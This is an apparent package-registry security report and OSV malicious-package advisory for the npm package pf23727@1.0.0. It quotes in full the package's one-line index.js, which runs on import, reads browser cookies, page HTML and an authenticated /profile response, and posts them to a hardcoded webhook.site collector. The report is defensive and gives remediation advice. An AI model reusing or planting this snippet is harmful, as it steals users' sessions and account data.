registry / pf23727 / 1.0.0

pf23727@1.0.0

AI Security Review

scanned 20d ago · by lpm-firewall-ai

The package's main module steals browser session-related data and authenticated profile content. It sends the collected data to a third-party webhook.

Static reason

High-risk behavior combination matched malicious policy.

Trigger

Importing or otherwise loading the package main module in a browser-like environment.

Impact

Cookies, page content, and authenticated profile data may be exposed to the webhook operator.

Mechanism

Immediate browser data collection followed by webhook exfiltration.

Attack narrative

When the configured main module loads, its immediately invoked function reads document.cookie and up to 1,500 characters of the page body. It also requests /profile with included credentials. Both records are posted through sendBeacon or fetch to a fixed webhook.site URL, exposing browser and account data without user action.

AI rationale

This is concrete, automatic credential and application-data exfiltration from the package entry point. The fixed external receiver and immediate execution establish malicious behavior.

Evidence

package.jsonindex.js

Network endpoints2

webhook.site/c4e39647-bfb8-47ef-b6d4-a112aacc6cd1/profile

OSV advisory

OpenSSF/OSV

Advisory

MAL-2026-16338

Source

OpenSSF Malicious Packages via OSV

Summary

Malicious code in pf23727 (npm)

Details

index.js is the package main and runs as an IIFE on require()/import. It reads document.cookie, slices document.body.innerHTML, and issues fetch('/profile', {credentials: 'include'}) to capture an authenticated response, then transmits the concatenated data via navigator.sendBeacon/fetch to a hardcoded collector at https://webhook.site/c4e39647-bfb8-47ef-b6d4-a112aacc6cd1. The destination is an unrelated third-party request-inspection service used as an exfiltration sink; the package has no declared legitimate purpose consistent with reading cookies or authenticated profile content. Behavior is a session-cookie and credentialed-response exfiltration payload rather than a functional library. ## Source: ghsa-malware (7b5508b450ed2def5348f6955f1ffd3cd20cda6e300d127d779e6d0c8606302d) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

References

OSV advisory PACKAGE ADVISORY

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

The main entry point immediately collects browser cookies and page HTML, then sends them to a fixed webhook.
It also fetches the authenticated local /profile endpoint and exfiltrates its response to the same webhook.
Importing the configured main file triggers this code without an exported or user-invoked function.

Evidence against

Behavioral surface

Source

Network

Supply chain

HighEntropyStringsTelemetryTrivialUrlStrings

Manifest

NoLicense

scanned 1 file(s), 402 B of source, external domains: webhook.site

Source & flagged code

5 flagged

index.jsView file

•Browser cookie sent to a fixed external endpoint in index.js: const hook='https://webhook.site/c4e39647-bfb8-47ef-b6d4-a112aacc6cd1'; send('DOM|'+document.cookie+'|'+document.body.innerHTML.slice(0,1500));

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

index.jsView on unpkg

•Trigger-reachable fixed external POST callback chain: manifest.main -> index.js const hook='https://webhook.site/c4e39647-bfb8-47ef-b6d4-a112aacc6cd1'; const send=(d)=>{try{navigator.sendBeacon(hook,d)}catch(e){fetch(hook,{method:'POST',body:d,keepalive:true})}};

High

Trigger Reachable External Post Callback

A manifest entrypoint or package-local install chain reaches a fixed external POST callback.

index.jsView on unpkg

1(()=>{ const hook='https://webhook.site/c4e39647-bfb8-47ef-b6d4-a112aacc6cd1'; const send=(d)=>{try{navigator.sendBeacon(hook,d)}catch(e){fetch(hook,{method:'POST',body:d,keepalive:true})}}; send('DOM|'+document.cookie+'|'+document.body.innerHTML.slice(0,1500)); fetch('/profile',{credentials:'include'}).then(r=>r.text()).then(t=>send('PROF|'+t.slice(0,1500))).catch(e=>send('ERR|'+e)); })();

High

Ai Review Evidence

The main entry point immediately collects browser cookies and page HTML, then sends them to a fixed webhook.

index.jsView on unpkg · L1

5fetch('/profile',{credentials:'include'}).then(r=>r.text()).then(t=>send('PROF|'+t.slice(0,1500))).catch(e=>send('ERR|'+e));

High

Ai Review Evidence

It also fetches the authenticated local /profile endpoint and exfiltrates its response to the same webhook.

index.jsView on unpkg · L5

package.jsonView file

1{"name":"pf23727","version":"1.0.0","main":"index.js"}

High

Ai Review Evidence

Importing the configured main file triggers this code without an exported or user-invoked function.

package.jsonView on unpkg · L1

Source & flagged code

5 flagged · loading source

index.jsView file

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

index.jsView on unpkg

High

Trigger Reachable External Post Callback

A manifest entrypoint or package-local install chain reaches a fixed external POST callback.

index.jsView on unpkg

High

Ai Review Evidence

Findings

1 Critical4 High2 Medium4 Low

CriticalHardcoded Runtime Data Exfiltrationindex.js

HighTrigger Reachable External Post Callbackindex.js

HighAi Review Evidenceindex.js

HighAi Review Evidencepackage.json

MediumNetwork

MediumStructural Risk Force Deep Review

LowHigh Entropy Strings

LowTelemetry

LowUrl Strings

LowNo License

Affected versions and remediation

This report applies to pf23727@1.0.0.

See version security history for other recorded verdicts.

Avoid installing pf23727@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-10-01 04:45:54.157Z (UTC).

Source advisory published: 2026-09-21 03:33:14.000Z (UTC).